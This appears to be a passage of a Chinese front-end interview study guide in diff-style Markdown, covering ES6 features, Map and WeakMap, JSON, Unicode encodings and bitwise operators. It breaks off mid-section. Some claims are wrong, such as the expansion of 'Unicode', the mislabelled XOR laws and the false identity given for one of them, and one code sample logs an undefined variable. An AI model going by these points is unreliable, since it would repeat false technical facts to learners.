:star: + +**(1)对象扩展运算符** + +对象的扩展运算符(...)用于取出参数对象中的所有可遍历属性,拷贝到当前对象之中。 + +```javascript +let bar = { a: 1, b: 2 }; +let baz = { ...bar }; // { a: 1, b: 2 } +``` + +上述方法实际上等价于: + +```javascript +let bar = { a: 1, b: 2 }; +let baz = Object.assign({}, bar); // { a: 1, b: 2 } +``` + +`Object.assign`方法用于对象的合并,将源对象`(source)`的所有可枚举属性,复制到目标对象`(target)`。`Object.assign`方法的第一个参数是目标对象,后面的参数都是源对象。(**如果目标对象与源对象有同名属性,或多个源对象有同名属性,则后面的属性会覆盖前面的属性**)。 + +同样,如果用户自定义的属性,放在扩展运算符后面,则扩展运算符内部的同名属性会被覆盖掉。 + +```javascript +let bar = {a: 1, b: 2}; +let baz = {...bar, ...{a:2, b: 4}}; // {a: 2, b: 4} +``` + +利用上述特性就可以很方便的修改对象的部分属性。在`redux`中的`reducer`函数规定必须是**一个纯函数**,`reducer`中的`state`对象要求不能直接修改,可以通过扩展运算符把修改路径的对象都复制一遍,然后产生一个新的对象返回。 + +需要注意:**扩展运算符对对象实例的拷贝属于浅拷贝**。 + +**(2)数组扩展运算符** + +在 React Hooks 中常见 + +数组的扩展运算符可以将一个数组转为用逗号分隔的参数序列,且每次只能展开一层数组。 + +```javascript +console.log(...[1, 2, 3]) +// 1 2 3 +console.log(...[1, [2, 3, 4], 5]) +// 1 [2, 3, 4] 5 +``` + +下面是数组的扩展运算符的应用: + +- **将数组转换为参数序列** + +```javascript +function add(x, y) { + return x + y; +} +const numbers = [1, 2]; +add(...numbers) // 3 +``` + +- **复制数组** + +```javascript +const arr1 = [1, 2]; +const arr2 = [...arr1]; +``` + +要记住:**扩展运算符(…)用于取出参数对象中的所有可遍历属性,拷贝到当前对象之中**,这里参数对象是个数组,数组里面的所有对象都是基础数据类型,将所有基础数据类型重新拷贝到新的数组中。 + +- **合并数组** + +如果想在数组内合并数组,可以这样: + +```javascript +const arr1 = ['two', 'three'];const arr2 = ['one', ...arr1, 'four', 'five'];// ["one", "two", "three", "four", "five"] +``` + +- **扩展运算符与解构赋值结合起来,用于生成数组** + +```javascript +const [first, ...rest] = [1, 2, 3, 4, 5];first // 1rest // [2, 3, 4, 5] +``` + +需要注意:**如果将扩展运算符用于数组赋值,只能放在参数的最后一位,否则会报错。** + +```javascript +const [...rest, last] = [1, 2, 3, 4, 5]; // 报错const [first, ...rest, last] = [1, 2, 3, 4, 5]; // 报错 +``` + +- **将字符串转为真正的数组** + +```javascript +[...'hello'] // [ "h", "e", "l", "l", "o" ] +``` + +- **任何 Iterator 接口的对象,都可以用扩展运算符转为真正的数组** + +比较常见的应用是可以将某些数据结构转为数组: + +```javascript +// arguments对象 +function foo() { + const args = [...arguments]; +} + +function foo(...args) { + // 等同获取arguments,并且装配成数组 +} +``` + +用于替换`es5`中的`Array.prototype.slice.call(arguments)`写法。 + +- **使用**`Math`**函数获取数组中特定的值** + +```javascript +const numbers = [9, 4, 7, 1]; +Math.min(...numbers); // 1 +Math.max(...numbers); // 9 +``` + +### 7. Proxy 可以实现什么功能? :star: + +在 Vue3.0 中通过 `Proxy` 来替换原本的 `Object.defineProperty` 来实现数据响应式。 + +Proxy 是 ES6 中新增的功能,它可以用来自定义对象中的操作。 + +```javascript +let p = new Proxy(target, handler) +``` + +`target` 代表需要添加代理的对象,`handler` 用来自定义对象中的操作,比如可以用来自定义 `set` 或者 `get` 函数。 + +下面来通过 `Proxy` 来实现一个数据响应式: + +```javascript +let onWatch = (obj, setBind, getLogger) => { + let handler = { + get(target, property, receiver) { + getLogger(target, property) + return Reflect.get(target, property, receiver) + }, + set(target, property, value, receiver) { + setBind(value, property) + return Reflect.set(target, property, value) + } + } + return new Proxy(obj, handler) +} +let obj = { a: 1 } +let p = onWatch( + obj, + (v, property) => { + console.log(`监听到属性${property}改变为${v}`) + }, + (target, property) => { + console.log(`'${property}' = ${target[property]}`) + } +) +p.a = 2 // 监听到属性a改变 +p.a // 'a' = 2 +``` + +**在上述代码中,通过自定义 `set` 和 `get` 函数的方式,在原本的逻辑中插入了我们的函数逻辑,实现了在对对象任何属性进行读写时发出通知。** + +当然这是简单版的响应式实现,如果需要实现一个 Vue 中的响应式,需要在 `get` 中收集依赖,在 `set` 派发更新,之所以 Vue3.0 要使用 `Proxy` 替换原本的 API 原因在于 `Proxy` 无需一层层递归为每个属性添加代理,一次即可完成以上操作,性能上更好,并且原本的实现有一些数据更新不能监听到,但是 `Proxy` 可以完美监听到任何方式的数据改变,唯一缺陷就是浏览器的兼容性不好(完全不支持IE)。 + +### 8. 对对象与数组的解构的理解 :star: + +解构是 ES6 提供的一种新的提取数据的模式,这种模式能够从对象或数组里有针对性地拿到想要的数值。 + + **1)数组的解构** 在解构数组时,以元素的位置为匹配条件来提取想要的数据的: + +```javascript +const [a, b, c] = [1, 2, 3] +``` + +最终,a、b、c分别被赋予了数组第0、1、2个索引位的值: + +``` +a = 1 +b = 2 +c = 3 +``` + +数组里的0、1、2索引位的元素值,精准地被映射到了左侧的第0、1、2个变量里去(基本类型被赋值),这就是数组解构的工作模式。还可以通过给左侧变量数组设置空占位的方式,实现对数组中某几个元素的**精准提取**: + +```javascript +const [a,,c] = [1,2,3] +``` + +通过把中间位留空,可以顺利地把数组第一位和最后一位的值赋给 a、c 两个变量: + +``` +a = 1 +c = 3 +``` + +**2)对象的解构** 对象解构比数组结构稍微复杂一些,也更显强大。在解构对象时,是以属性的名称为匹配条件,来提取想要的数据的。现在定义一个对象: + +```javascript +const stu = { + name: 'Bob', + age: 24 +} +``` + +假如想要解构它的两个自有属性,可以这样: + +```javascript +const { name, age } = stu +``` + +这样就得到了 name 和 age 两个和 stu 平级的变量 + +``` +name = stu.name +age = stu.age +``` + +注意,对象解构严格以属性名作为定位依据,所以就算调换了 name 和 age 的位置,结果也是一样的: + +```javascript +const { age, name } = stu +``` + +### 9. **如何提取高度嵌套的对象里的指定属性?** + +有时会遇到一些嵌套程度非常深的对象: + +```javascript +const school = { + classes: { + stu: { + name: 'Bob', + age: 24, + } + } +} +``` + +像此处的 name 这个变量,嵌套了四层,此时如果仍然尝试老方法来提取它: + +```javascript +const { name } = school +``` + +显然是不奏效的,因为 school 这个对象本身是没有 name 这个属性的,name 位于 school 对象的“儿子的儿子”对象里面。要想把 name 提取出来,一种比较笨的方法是逐层解构: + +```javascript +const { classes } = school +const { stu } = classes +const { name } = stu +name // 'Bob' +``` + +但是还有一种更标准的做法,可以用一行代码来解决这个问题: + +```javascript +const { classes: { stu: { name } }} = school + +console.log(name) // 'Bob' +``` + +可以在解构出来的变量名右侧,通过冒号+{目标属性名}这种形式,进一步解构它,一直解构到拿到目标数据为止。 + +### 10. 对 rest 参数的理解 :star: + +**扩展运算符被用在函数形参上时,它还可以把一个分离的参数序列整合成一个数组:** + +```javascript +function mutiple(...args) { + let result = 1; + for (var val of args) { + result *= val; + } + return result; +} +mutiple(1, 2, 3, 4) // 24 +``` + +这里,传入 mutiple 的是四个分离的参数,但是如果在 mutiple 函数里尝试输出 args 的值,会发现它是一个数组: + +```javascript +function mutiple(...args) { + console.log(args) +} +mutiple(1, 2, 3, 4) // [1, 2, 3, 4] +``` + +这就是 … rest运算符的又一层威力了,它可以把函数的多个入参收敛进一个数组里。这一点**经常用于获取函数的多余参数,或者像上面这样处理函数参数个数不确定的情况。** + +### 11. ES6中模板语法与字符串处理:star: + +ES6 提出了“模板语法”的概念。在 ES6 以前,拼接字符串是很麻烦的事情: + +```javascript +var name = 'css' +var career = 'coder' +var hobby = ['coding', 'writing'] +var finalString = 'my name is ' + name + ', I work as a ' + career + ', I love ' + hobby[0] + ' and ' + hobby[1] +``` + +仅仅几个变量,写了这么多加号,还要时刻小心里面的空格和标点符号有没有跟错地方。但是有了模板字符串,拼接难度直线下降: + +```javascript +var name = 'css' +var career = 'coder' +var hobby = ['coding', 'writing'] +var finalString = `my name is ${name}, I work as a ${career} I love ${hobby[0]} and ${hobby[1]}` +``` + +字符串不仅更容易拼了,也更易读了,代码整体的质量都变高了。这就是模板字符串的第一个优势——允许用${}的方式嵌入变量。但这还不是问题的关键,模板字符串的关键优势有两个: + +- 在模板字符串中,**空格、缩进、换行都会被保留** +- **模板字符串完全支持“运算”式的表达式,可以在${}里完成一些计算** + +基于第一点,可以在模板字符串里无障碍地直接写 html 代码: + +```javascript +let list = ` +
      +
    • 列表项1
    • +
    • 列表项2
    • +
    +`; +console.log(message); // 正确输出,不存在报错 +``` + +基于第二点,可以把一些简单的计算和调用丢进 ${} 来做: + +```javascript +function add(a, b) { + const finalString = `${a} + ${b} = ${a+b}` + console.log(finalString) +} +add(1, 2) // 输出 '1 + 2 = 3' +``` + +除了模板语法外, ES6中还新增了一系列的字符串方法用于提升开发效率: + +:star:(1)**存在性判定**:在过去,当判断一个字符/字符串是否在某字符串中时,只能用 indexOf > -1 来做。现在 ES6 提供了三个方法:includes、startsWith、endsWith,它们都会返回一个布尔值来告诉你是否存在。 + +- **includes**:判断字符串与子串的包含关系: + +```javascript +const son = 'haha' +const father = 'xixi haha hehe' +father.includes(son) // true +``` + +- **startsWith**:判断字符串是否以某个/某串字符开头: + +```javascript +const father = 'xixi haha hehe' +father.startsWith('haha') // false +father.startsWith('xixi') // true +``` + +- **endsWith**:判断字符串是否以某个/某串字符结尾: + +```javascript +const father = 'xixi haha hehe' + father.endsWith('hehe') // true +``` + +(2)**自动重复**:可以使用 repeat 方法来使同一个字符串输出多次(被连续复制多次): + +```javascript +const sourceCode = 'repeat for 3 times;' +const repeated = sourceCode.repeat(3) +console.log(repeated) // repeat for 3 times;repeat for 3 times;repeat for 3 times; +``` + +## 三、JavaScript基础 + +### 1. new操作符的实现原理 :star::star: + +**new操作符的执行过程:** + +(1)首先创建了一个新的空对象 + +(2)**设置原型**,将新对象的原型__proto\_\_属性设置为函数的 prototype 对象。 + +(3)**让函数的 this** 指向这个对象,**执行构造函数**的代码(为这个新对象添加属性) + +(4)判断函数的返回值类型,如果是值类型,返回创建的对象。如果是引用类型,就返回这个引用类型的对象。 + +具体实现: + +```javascript +function objectFactory() { + let newObject = null; + let constructor = Array.prototype.shift.call(arguments); + let result = null; + // 判断参数是否是一个函数 + if (typeof constructor !== "function") { + console.error("type error"); + return; + } + // 新建一个空对象,对象的原型为构造函数的 prototype 对象 + newObject = Object.create(constructor.prototype); + // 将 this 指向新建对象,并执行函数 + result = constructor.apply(newObject, arguments); + // 判断返回对象 + let flag = result && (typeof result === "object" || typeof result === "function"); + // 判断返回结果 + return flag ? result : newObject; +} +// 使用方法 +objectFactory(构造函数, 初始化参数); +``` + +简单版: + +```js +/* 因为new是关键词,所以用方法替代 */ +function newObj(Constructor, ...args) { + const obj = {}; + obj.__proto__ = Constructor.prototype; + Constructor.apply(obj, args); + return obj; +} +``` + +### 2. map和Object的区别 :star: + +| | Map | Object | +| -------- | ------------------------------------------------------------ | ------------------------------------------------------------ | +| 意外的键 | Map默认情况不包含任何键,只包含显式插入的键。 | Object 有一个原型, 原型链上的键名有可能和自己在对象上的设置的键名产生冲突。 | +| 键的类型 | Map的键可以是任意值,包括函数、对象或任意基本类型。 | Object 的键必须是 String 或是Symbol。 | +| 键的顺序 | Map 中的 key 是有序的。因此,当迭代的时候, Map 对象以插入的顺序返回键值。 | Object 的键是无序的 | +| Size | Map 的键值对个数可以轻易地通过size 属性获取 | Object 的键值对个数只能手动计算 | +| 迭代 | Map 是 iterable 的,所以可以直接被迭代。 | **迭代Object需要以某种方式获取它的键然后才能迭代。** | +| 性能 | 在频繁增删键值对的场景下表现更好。 | 在频繁添加和删除键值对的场景下未作出优化。 | + +### 3. map和weakMap的区别 + +**(1)Map** map本质上就是键值对的集合,但是普通的Object中的键值对中的键只能是字符串。而ES6提供的Map数据结构类似于对象,但是它的键不限制范围,可以是任意类型,是一种更加完善的Hash结构。如果Map的键是一个原始数据类型,只要两个键严格相同,就视为是同一个键。 + +实际上Map是一个数组,它的每一个数据也都是一个数组,其形式如下: + +```javascript +const map = [ + ["name","张三"], + ["age",18], +] +``` + +Map数据结构有以下操作方法: + +- **size**: `map.size` 返回Map结构的成员总数。 +- **set(key,value)**:设置键名key对应的键值value,然后返回整个Map结构,如果key已经有值,则键值会被更新,否则就新生成该键。(因为返回的是当前Map对象,所以可以链式调用) +- **get(key)**:该方法读取key对应的键值,如果找不到key,返回undefined。 +- **has(key)**:该方法返回一个布尔值,表示某个键是否在当前Map对象中。 +- **delete(key)**:该方法删除某个键,返回true,如果删除失败,返回false。 +- **clear()**:map.clear()清除所有成员,没有返回值。 + +Map结构原生提供是三个遍历器生成函数和一个遍历方法 + +- keys():返回**键名**的遍历器。 +- values():返回**键值**的遍历器。 +- entries():返回**所有成员**的遍历器。 +- forEach():遍历Map的所有成员。 + +```javascript +const map = new Map([ + ["foo",1], + ["bar",2], +]) +for(let key of map.keys()){ + console.log(key); // foo bar +} +for(let value of map.values()){ + console.log(value); // 1 2 +} +for(let items of map.entries()){ + console.log(items); // ["foo",1] ["bar",2] +} +map.forEach( (value,key,map) => { + console.log(key,value); // foo 1 bar 2 +}) +``` + +**(2)WeakMap** WeakMap 对象也是一组键值对的集合,其中的键是弱引用的。**其键必须是对象**,原始数据类型不能作为key值,而值可以是任意的。 + +该对象也有以下几种方法: + +- **set(key,value)**:设置键名key对应的键值value,然后返回整个Map结构,如果key已经有值,则键值会被更新,否则就新生成该键。(因为返回的是当前Map对象,所以可以链式调用) +- **get(key)**:该方法读取key对应的键值,如果找不到key,返回undefined。 +- **has(key)**:该方法返回一个布尔值,表示某个键是否在当前Map对象中。 +- **delete(key)**:该方法删除某个键,返回true,如果删除失败,返回false。 + +其clear()方法已经被弃用,所以可以通过创建一个空的WeakMap并替换原对象来实现清除。 + +WeakMap的设计目的在于,有时想在某个对象上面存放一些数据,但是这会形成对于这个对象的引用。一旦不再需要这两个对象,就必须手动删除这个引用,否则垃圾回收机制就不会释放对象占用的内存。 + +而WeakMap的**键名所引用的对象都是弱引用**,即垃圾回收机制不将该引用考虑在内。因此,**只要所引用的对象的其他引用都被清除,垃圾回收机制就会释放该对象所占用的内存**。也就是说,一旦不再需要,WeakMap 里面的**键名对象和所对应的键值对会自动消失,不用手动删除引用**(要么删除对象,要么手动delete该附带属性)。 + +**总结:** + +- Map 数据结构。它类似于对象,也是键值对的集合,但是“键”的范围不限于字符串,各种类型的值(包括对象)都可以当作键。 +- WeakMap 结构与 Map 结构类似,也是用于生成键值对的集合。但是 WeakMap 只接受对象作为键名( null 除外),不接受其他类型的值作为键名。而且 WeakMap 的键名所指向的对象,不计入垃圾回收机制。 + +### 4. JavaScript有哪些内置对象 + +全局的对象( global objects )或称标准内置对象,不要和 "全局对象(global object)" 混淆。这里说的全局的对象是说在 全局作用域里的对象。全局作用域中的其他对象可以由用户的脚本创建或由宿主程序提供。 + +**标准内置对象的分类:** + +(1)值属性,这些全局属性返回一个简单值,这些值没有自己的属性和方法。例如 Infinity、NaN、undefined、null 字面量 + +(2)函数属性,全局函数可以直接调用,不需要在调用时指定所属对象,执行结束后会将结果直接返回给调用者。例如 eval()、parseFloat()、parseInt() 等 + +(3)基本对象,基本对象是定义或使用其他对象的基础。基本对象包括一般对象、函数对象和错误对象。例如 Object、Function、Boolean、Symbol、Error 等 + +(4)数字和日期对象,用来表示数字、日期和执行数学计算的对象。例如 Number、Math、Date + +(5)字符串,用来表示和操作字符串的对象。例如 String、RegExp + +(6)可索引的集合对象,这些对象表示按照索引值来排序的数据集合,包括数组和类型数组,以及类数组结构的对象。例如 Array + +(7)使用键的集合对象,这些集合对象在存储数据时会使用到键,支持按照插入顺序来迭代元素。 例如 Map、Set、WeakMap、WeakSet + +(8)矢量集合,SIMD 矢量集合中的数据会被组织为一个数据序列。 例如 SIMD 等 + +(9)结构化数据,这些对象用来表示和操作结构化的缓冲区数据,或使用 JSON 编码的数据。例如 JSON 等 + +(10)控制抽象对象 例如 Promise、Generator 等 + +(11)反射。例如 Reflect、Proxy + +(12)国际化,为了支持多语言处理而加入 ECMAScript 的对象。例如 Intl、Intl.Collator 等 + +(13)WebAssembly + +(14)其他。例如 arguments + +**总结:** js 中的内置对象主要指的是在程序执行前存在全局作用域里的由 js 定义的一些全局值属性、函数和用来实例化其他对象的构造函数对象。一般经常用到的如全局变量值 NaN、undefined,全局函数如 parseInt()、parseFloat() 用来实例化对象的构造函数如 Date、Object 等,还有提供数学计算的单体内置对象如 Math 对象。 + +### 5. 常用的正则表达式有哪些? + +```javascript +// (1)匹配 16 进制颜色值 +var regex = /#([0-9a-fA-F]{6}|[0-9a-fA-F]{3})/g; + +// (2)匹配日期,如 yyyy-mm-dd 格式 +var regex = /^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[12][0-9]|3[01])$/; + +// (3)匹配 qq 号 +var regex = /^[1-9][0-9]{4,10}$/g; + +// (4)手机号码正则 +var regex = /^1[34578]\d{9}$/g; + +// (5)用户名正则 +var regex = /^[a-zA-Z\$][a-zA-Z0-9_\$]{4,16}$/; +``` + +### 6. 对JSON的理解 + +JSON 是一种基于**文本的轻量级的数据交换格式**。它可以被任何的编程语言读取和作为数据格式来传递。 + +在项目开发中,使用 JSON 作为前后端数据交换的方式。在前端通过将一个符合 JSON 格式的数据结构序列化为 JSON 字符串,然后将它传递到后端,后端通过 JSON 格式的字符串解析后生成对应的数据结构,以此来实现前后端数据的一个传递。 + +因为 JSON 的语法是基于 js 的,因此很容易将 JSON 和 js 中的对象弄混,但是应该注意的是 JSON 和 js 中的对象不是一回事,JSON 中对象格式更加严格,比如说在 JSON 中属性值不能为函数,不能出现 NaN 这样的属性值等,因此大多数的 js 对象是不符合 JSON 对象的格式的。 + +在 js 中提供了两个函数来实现 js 数据结构和 JSON 格式的转换处理, + +- JSON.stringify 函数,通过传入一个符合 JSON 格式的数据结构,将其转换为一个 JSON 字符串。如果传入的数据结构不符合 JSON 格式,那么在序列化的时候会对这些值进行对应的特殊处理,使其符合规范。在前端向后端发送数据时,可以调用这个函数将数据对象转化为 JSON 格式的字符串。 +- JSON.parse() 函数,这个函数用来将 JSON 格式的字符串转换为一个 js 数据结构,如果传入的字符串不是标准的 JSON 格式的字符串的话,将会抛出错误。当从后端接收到 JSON 格式的字符串时,可以通过这个方法来将其解析为一个 js 数据结构,以此来进行数据的访问。 + +### 7. JavaScript脚本延迟加载的方式有哪些?:star: + +延迟加载就是等页面加载完成之后再加载 JavaScript 文件。 js 延迟加载有助于提高页面加载速度。 + +一般有以下几种方式: + +- **defer 属性:** 给 js 脚本添加 defer 属性,这个属性会让脚本的加载与文档的解析同步解析,然后在文档解析完成后再执行这个脚本文件,这样的话就能使页面的渲染不被阻塞。多个设置了 defer 属性的脚本按规范来说最后是顺序执行的,但是在一些浏览器中可能不是这样。 +- **async 属性:** 给 js 脚本添加 async 属性,这个属性会使脚本异步加载,不会阻塞页面的解析过程,但是当脚本加载完成后立即执行 js 脚本,这个时候如果文档没有解析完成的话同样会阻塞。多个 async 属性的脚本的执行顺序是不可预测的,一般不会按照代码的顺序依次执行。 +- **动态创建 DOM 方式:** 动态创建 DOM 标签的方式,可以对文档的加载事件进行监听,当文档加载完成后再动态的创建 script 标签来引入 js 脚本。 +- **使用 setTimeout 延迟方法:** 设置一个定时器来延迟加载js脚本文件 +- **让 JS 最后加载:** 将 js 脚本放在文档的底部,来使 js 脚本尽可能的在最后来加载执行。 + +### 8. JavaScript 类数组对象的定义?:star: + +> length和索引 + +**一个拥有 length 属性和若干索引属性的对象**就可以被称为类数组对象,类数组对象和数组类似,但是不能调用数组的方法。常见的类数组对象有 arguments 和 DOM 方法的返回结果,还有一个函数也可以被看作是类数组对象,因为它含有 length 属性值,代表可接收的参数个数。 + +:star:**常见的类数组转换为数组的方法有这样几种:** + +(1)通过 call 调用数组的 **slice** 方法来实现转换 + +```javascript +Array.prototype.slice.call(arrayLike); +``` + +(2)通过 call 调用数组的 **splice** 方法来实现转换 + +```javascript +Array.prototype.splice.call(arrayLike, 0); +``` + +(3)通过 apply 调用数组的 **concat** 方法来实现转换 + +```javascript +Array.prototype.concat.apply([], arrayLike); +``` + +(4)通过 **Array.from** 方法来实现转换 + +```javascript +Array.from(arrayLike); +``` + +### 9. 数组有哪些原生方法?:star::star: + +- 数组和字符串的转换方法:toString()、toLocalString()、join() 其中 join() 方法可以指定转换为字符串时的分隔符。 +- 数组尾部操作的方法 pop() 和 push(),push 方法可以传入多个参数。 +- 数组首部操作的方法 shift() 和 unshift() 重排序的方法 reverse() 和 sort(),sort() 方法可以传入一个函数来进行比较,传入前后两个值,如果返回值为正数,则交换两个参数的位置。 +- 数组连接的方法 concat() ,返回的是拼接好的数组,不影响原数组。 +- 数组截取办法 slice(),用于截取数组中的一部分返回,不影响原数组。 +- 数组插入方法 splice(),影响原数组查找特定项的索引的方法,indexOf() 和 lastIndexOf() 迭代方法 every()、some()、filter()、map() 和 forEach() 方法 +- 数组归并方法 reduce() 和 reduceRight() 方法 + +### 10. **Unicode、UTF-8、UTF-16、UTF-32的区别?** + +#### (1)Unicode + +在说`Unicode`之前需要先了解一下`ASCII`码:ASCII 码(`American Standard Code for Information Interchange`)称为美国标准信息交换码。 + +- 它是基于拉丁字母的一套电脑编码系统。 +- 它定义了一个用于代表常见字符的字典。 +- 它包含了"A-Z"(包含大小写),数据"0-9" 以及一些常见的符号。 +- 它是专门为英语而设计的,有128个编码,对其他语言无能为力 + +`ASCII`码可以表示的编码有限,要想表示其他语言的编码,还是要使用`Unicode`来表示,可以说`Unicode`是`ASCII` 的超集。 + +`Unicode`全称 `Unicode Translation Format`,又叫做统一码、万国码、单一码。`Unicode` 是为了解决传统的字符编码方案的局限而产生的,它为每种语言中的每个字符设定了统一并且唯一的二进制编码,以满足跨语言、跨平台进行文本转换、处理的要求。 + +`Unicode`的实现方式(也就是编码方式)有很多种,常见的是**UTF-8**、**UTF-16**、**UTF-32**和**USC-2**。 + +#### (2)UTF-8 + +`UTF-8`是使用最广泛的`Unicode`编码方式,它是一种可变长的编码方式,可以是1—4个字节不等,它可以完全兼容`ASCII`码的128个字符。 + +**注意:** `UTF-8` 是一种编码方式,`Unicode`是一个字符集合。 + +`UTF-8`的编码规则: + +- 对于**单字节**的符号,字节的第一位为0,后面的7位为这个字符的`Unicode`编码,因此对于英文字母,它的`Unicode`编码和`ACSII`编码一样。 +- 对于**n字节**的符号,第一个字节的前n位都是1,第n+1位设为0,后面字节的前两位一律设为10,剩下的没有提及的二进制位,全部为这个符号的`Unicode`码 。 + +来看一下具体的`Unicode`编号范围与对应的`UTF-8`二进制格式 : + +| 编码范围(编号对应的十进制数) | 二进制格式 | +| ------------------------------- | ----------------------------------- | +| 0x00—0x7F (0-127) | 0xxxxxxx | +| 0x80—0x7FF (128-2047) | 110xxxxx 10xxxxxx | +| 0x800—0xFFFF (2048-65535) | 1110xxxx 10xxxxxx 10xxxxxx | +| 0x10000—0x10FFFF (65536以上) | 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx | + +那该如何通过具体的`Unicode`编码,进行具体的`UTF-8`编码呢?**步骤如下:** + +- 找到该`Unicode`编码的所在的编号范围,进而找到与之对应的二进制格式 +- 将`Unicode`编码转换为二进制数(去掉最高位的0) +- 将二进制数从右往左一次填入二进制格式的`X`中,如果有`X`未填,就设为0 + +来看一个实际的例子: “**马**” 字的`Unicode`编码是:`0x9A6C`,整数编号是`39532` (1)首选确定了该字符在第三个范围内,它的格式是 `1110xxxx 10xxxxxx 10xxxxxx` (2)39532对应的二进制数为`1001 1010 0110 1100` (3)将二进制数填入X中,结果是:`11101001 10101001 10101100` + +#### (3)UTF-16 + +**1. 平面的概念** + +在了解`UTF-16`之前,先看一下**平面**的概念: `Unicode`编码中有很多很多的字符,它并不是一次性定义的,而是分区进行定义的,每个区存放**65536**(216)个字符,这称为一个**平面**,目前总共有17 个平面。 + +最前面的一个平面称为**基本平面**,它的码点从**0 — 216-1**,写成16进制就是`U+0000 — U+FFFF`,那剩下的16个平面就是**辅助平面**,码点范围是 `U+10000—U+10FFFF`。 + +**2. UTF-16 概念:** + +`UTF-16`也是`Unicode`编码集的一种编码形式,把`Unicode`字符集的抽象码位映射为16位长的整数(即码元)的序列,用于数据存储或传递。`Unicode`字符的码位需要1个或者2个16位长的码元来表示,因此`UTF-16`也是用变长字节表示的。 + +**3. UTF-16 编码规则:** + +- 编号在 `U+0000—U+FFFF` 的字符(常用字符集),直接用两个字节表示。 +- 编号在 `U+10000—U+10FFFF` 之间的字符,需要用四个字节表示。 + +**4. 编码识别** + +那么问题来了,当遇到两个字节时,怎么知道是把它当做一个字符还是和后面的两个字节一起当做一个字符呢? + +`UTF-16` 编码肯定也考虑到了这个问题,在基本平面内,从 `U+D800 — U+DFFF` 是一个空段,也就是说这个区间的码点不对应任何的字符,因此这些空段就可以用来映射辅助平面的字符。 + +辅助平面共有 **220** 个字符位,因此表示这些字符至少需要 20 个二进制位。`UTF-16` 将这 20 个二进制位分成两半,前 10 位映射在 `U+D800 — U+DBFF`,称为**高位**(H),后 10 位映射在 `U+DC00 — U+DFFF`,称为**低位**(L)。这就相当于,将一个辅助平面的字符拆成了两个基本平面的字符来表示。 + +因此,当遇到两个字节时,发现它的码点在 `U+D800 —U+DBFF`之间,就可以知道,它后面的两个字节的码点应该在 `U+DC00 — U+DFFF` 之间,这四个字节必须放在一起进行解读。 + +**5. 举例说明** + +以 "**𡠀**" 字为例,它的 `Unicode` 码点为 `0x21800`,该码点超出了基本平面的范围,因此需要用四个字节来表示,步骤如下: + +- 首先计算超出部分的结果:`0x21800 - 0x10000` +- 将上面的计算结果转为20位的二进制数,不足20位就在前面补0,结果为:`0001000110 0000000000` +- 将得到的两个10位二进制数分别对应到两个区间中 +- `U+D800` 对应的二进制数为 `1101100000000000`, 将`0001000110`填充在它的后10 个二进制位,得到 `1101100001000110`,转成 16 进制数为 `0xD846`。同理,低位为 `0xDC00`,所以这个字的`UTF-16` 编码为 `0xD846 0xDC00` + +#### (4) UTF-32 + +`UTF-32` 就是字符所对应编号的整数二进制形式,每个字符占四个字节,这个是直接进行转换的。该编码方式占用的储存空间较多,所以使用较少。 + +比如“**马**” 字的Unicode编号是:`U+9A6C`,整数编号是`39532`,直接转化为二进制:`1001 1010 0110 1100`,这就是它的UTF-32编码。 + +#### (5)总结 + +**Unicode、UTF-8、UTF-16、UTF-32有什么区别?** + +- `Unicode` 是编码字符集(字符集),而`UTF-8`、`UTF-16`、`UTF-32`是字符集编码(编码规则); +- `UTF-16` 使用变长码元序列的编码方式,相较于定长码元序列的`UTF-32`算法更复杂,甚至比同样是变长码元序列的`UTF-8`也更为复杂,因为其引入了独特的**代理对**这样的代理机制; +- `UTF-8`需要判断每个字节中的开头标志信息,所以如果某个字节在传送过程中出错了,就会导致后面的字节也会解析出错;而`UTF-16`不会判断开头标志,即使错也只会错一个字符,所以容错能力教强; +- 如果字符内容全部英文或英文与其他文字混合,但英文占绝大部分,那么用`UTF-8`就比`UTF-16`节省了很多空间;而如果字符内容全部是中文这样类似的字符或者混合字符中中文占绝大多数,那么`UTF-16`就占优势了,可以节省很多空间; + +### 11. 常见的位运算符有哪些?其计算规则是什么? + +现代计算机中数据都是以二进制的形式存储的,即0、1两种状态,计算机对二进制数据进行的运算加减乘除等都是叫位运算,即将符号位共同参与运算的运算。 + +常见的位运算有以下几种: + +| 运算符 | 描述 | 运算规则 | +| ------ | ---- | -------------------------------------------------------- | +| `&` | 与 | 两个位都为1时,结果才为1 | +| ` | ` | 或 || +| `^` | 异或 | 两个位相同为0,相异为1 | +| `~` | 取反 | 0变1,1变0 | +| `<<` | 左移 | 各二进制位全部左移若干位,高位丢弃,低位补0 | +| `>>` | 右移 | 各二进制位全部右移若干位,正数左补0,负数左补1,右边丢弃 | +| `>>>` | 无符号右移 | 各二进制位全部右移若干位,补0 | + +#### 1. 按位与运算符(&) + +**定义:** 参加运算的两个数据**按二进制位**进行“与”运算。 **运算规则:** + +```javascript +0 & 0 = 0 +0 & 1 = 0 +1 & 0 = 0 +1 & 1 = 1 +``` + +总结:两位同时为1,结果才为1,否则结果为0。 例如:3&5 即: + +```javascript +0000 0011 + 0000 0101 + = 0000 0001 +``` + +因此 3&5 的值为1。 注意:负数按补码形式参加按位与运算。 + +**用途:** + +**(1)判断奇偶** + +只要根据最未位是0还是1来决定,为0就是偶数,为1就是奇数。因此可以用`if ((i & 1) == 0)`代替`if (i % 2 == 0)`来判断a是不是偶数。 + +**(2)清零** + +如果想将一个单元清零,即使其全部二进制位为0,只要与一个各位都为零的数值相与,结果为零。 + +#### 2. 按位或运算符(|) + +**定义:** 参加运算的两个对象按二进制位进行“或”运算。 + +**运算规则:** + +```javascript +0 | 0 = 0 +0 | 1 = 1 +1 | 0 = 1 +1 | 1 = 1 +``` + +总结:参加运算的两个对象只要有一个为1,其值为1。 例如:3|5即: + +```javascript +0000 0011 + 0000 0101 += 0000 0111 +``` + +因此,3|5的值为7。 注意:负数按补码形式参加按位或运算。 + +#### 3. 异或运算符(^) + +**定义:** 参加运算的两个数据按二进制位进行“异或”运算。 + +**运算规则:** + +```javascript +0 ^ 0 = 0 +0 ^ 1 = 1 +1 ^ 0 = 1 +1 ^ 1 = 0 +``` + +总结:参加运算的两个对象,如果两个相应位相同为0,相异为1。 例如:3|5即: + +```javascript +0000 0011 + 0000 0101 += 0000 0110 +``` + +因此,3^5的值为6。 异或运算的性质: + +- 交换律:`(a^b)^c == a^(b^c)` +- 结合律:`(a + b)^c == a^b + b^c` +- 对于任何数x,都有 `x^x=0,x^0=x` +- 自反性: `a^b^b=a^0=a`; + +#### 4. 取反运算符 (~) + +**定义:** 参加运算的一个数据按二进制进行“取反”运算。 + +**运算规则:** + 